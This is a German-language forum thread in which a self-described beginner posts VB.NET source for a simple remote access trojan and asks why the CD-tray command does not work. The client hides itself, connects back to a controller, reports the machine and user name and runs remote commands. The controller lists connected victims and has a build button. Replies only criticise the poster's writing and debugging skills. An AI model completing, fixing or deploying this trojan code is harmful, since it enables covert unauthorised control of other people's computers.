Hallo bin neu hier und auch was sachen Trojaner angeht breuchte mal eure Hilfe poste hier gleich 2 Codes Steuer Tool und Client verstehe nicht wieso er nicht das CD fach öffnet und schließt was habe ich falsch geprogt
Client:
Code:
Public Class Form1
Public WithEvents C As New SocketClient
Public Yy As String = " "
Public HOST As String = "localhost"
Public port As Integer = 80
Public cap As New CRDP
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal Command As String, ByVal ReturnString As String, ByVal ReturnLength As Long, ByVal hWnd As Long) As Long
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
End
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.Hide()
Me.Visible = False
C.Connect(HOST, port)
End Sub
#Region "Socket Events"
Private Sub Connected() Handles C.Connected
End Sub
Private Sub Disconnected() Handles C.Disconnected
' Reconnect
C.Connect(HOST, port)
End Sub
Private Sub Data(ByVal b As Byte()) Handles C.Data
Dim T As String = BS(b)
Dim A As String() = Split(T, Yy)
Try
Select Case A(0)
Case "~" ' server ask me what is my pc name
Dim pc As String = Environment.MachineName & "/" & Environment.UserName
C.Send("~" & Yy & pc)
Case "close"
End
Case "+"
mciSendString("set CDAudio door open", 0, 0, 0)
Case "-"
mciSendString("set CDAudio door close", 0, 0, 0)
End Select
Catch ex As Exception
End Try
End Sub
#End Region
End Class
Steuereinheit:
Code:
Imports System.Text
Imports System.Threading
Imports System.Net.NetworkInformation
Imports System.Net
Imports System.Net.Sockets
Imports System.Media
Imports System.IO
Imports System.Runtime.Serialization
Imports System.Runtime.Serialization.Formatters.Binary
Public Class Form1
Public WithEvents S As New SocketServer
Public Yy As String = " "
Private close_cd As Object
Private open_cd As Object
Public Property Country As Object
Public Property CD_OPEN As Object
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False
S.Start(80)
End Sub
#Region "Server Events"
Sub Disconnect(ByVal sock As Integer) Handles S.DisConnected
Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
Try
L1.Items(sock.ToString).Remove()
Catch ex As Exception
End Try
End Sub
Sub Connected(ByVal sock As Integer) Handles S.Connected
Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
S.Send(sock, "~") ' i ask him to send me PC name
End Sub
Delegate Sub _Data(ByVal sock As Integer, ByVal B As Byte())
Sub Data(ByVal sock As Integer, ByVal B As Byte()) Handles S.Data
Dim T As String = BS(B)
Dim A As String() = Split(T, Yy)
Try
Select Case A(0)
Case "~" ' Client Sent me PC name
Dim L = L1.Items.Add(sock.ToString, A(1), 0)
L.SubItems.Add(S.IP(sock))
L.ToolTipText = sock
End Select
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
#End Region
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
If Button1.Text = "Build Server" Then
Button1.Text = ""
ElseIf Button1.Text = "" Then
Button1.Text = "Build Server"
End If
End Sub
Private Sub CloseRatToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseRatToolStripMenuItem.Click
Application.Exit()
End
End Sub
Private Sub CloseClientToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseClientToolStripMenuItem.Click
For Each x As ListViewItem In L1.SelectedItems
S.Send(x.ToolTipText, "close")
Next
End Sub
Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AboutToolStripMenuItem.Click
MsgBox("Codet and Designed by Cleopatra")
End Sub
Private Sub CDOPENToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDOPENToolStripMenuItem.Click
S.SendData("+")
End Sub
Private Sub CDCLOSEToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDCLOSEToolStripMenuItem.Click
S.SendData("-")
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
build.Show()
End Sub
Private Sub HIDETASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDETASKBARToolStripMenuItem.Click
S.SendData("hide_taskbar")
End Sub
Private Sub SHOWTASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWTASKBARToolStripMenuItem.Click
S.SendData("show_taskbar")
End Sub
Private Sub HIDESTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDESTARTToolStripMenuItem.Click
S.SendData("hide_start")
End Sub
Private Sub SHOWSTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWSTARTToolStripMenuItem.Click
S.SendData("show_start")
End Sub
End Class
Danke für eure Hilfe ist aber nicht der ganze code
06.05.2016, 20:11
novedad
AW: Trojana erstellen Anfänger
1. Lerne grammatikalisch korrektes Deutsch zu schreiben
2. Packe den Code in einen Spoiler/Code-Tag - so wird sich das kein Mensch durchlesen, da man davon Augenkrebs bekommt
06.05.2016, 23:50
Keccak
AW: Trojana erstellen Anfänger
Ist nicht böse gemeint, aber vll solltest Du erstmal lernen mit einem Debugger umzugehen, bevor du Trojaner bzw. irgend welche größeren Software Projekte angehst.
Dann könntest Du uns nämlich auch sagen in welcher Zeile es Probleme gibt, anstatt uns einfach 2 code Schnipsel hinzuklatschen und zu sagen findet herraus selbst heraus wo ich den Fehler gemacht hab.
Und ich gebe novedad vollkommen recht. Es ist nicht gerade zuträglich, wenn man kaum versteht was du ausdrücken willst.
Ist es denn zu viel verlangt den Text schnell in einer Rechtscheibprüfung zu überprüfen wenn du kein Muttersprachler sein solltest?
Oder bist du einfach zu faul? So wie es jetzt ist hinterlässt es jedenfalls keinen guten Eindruck..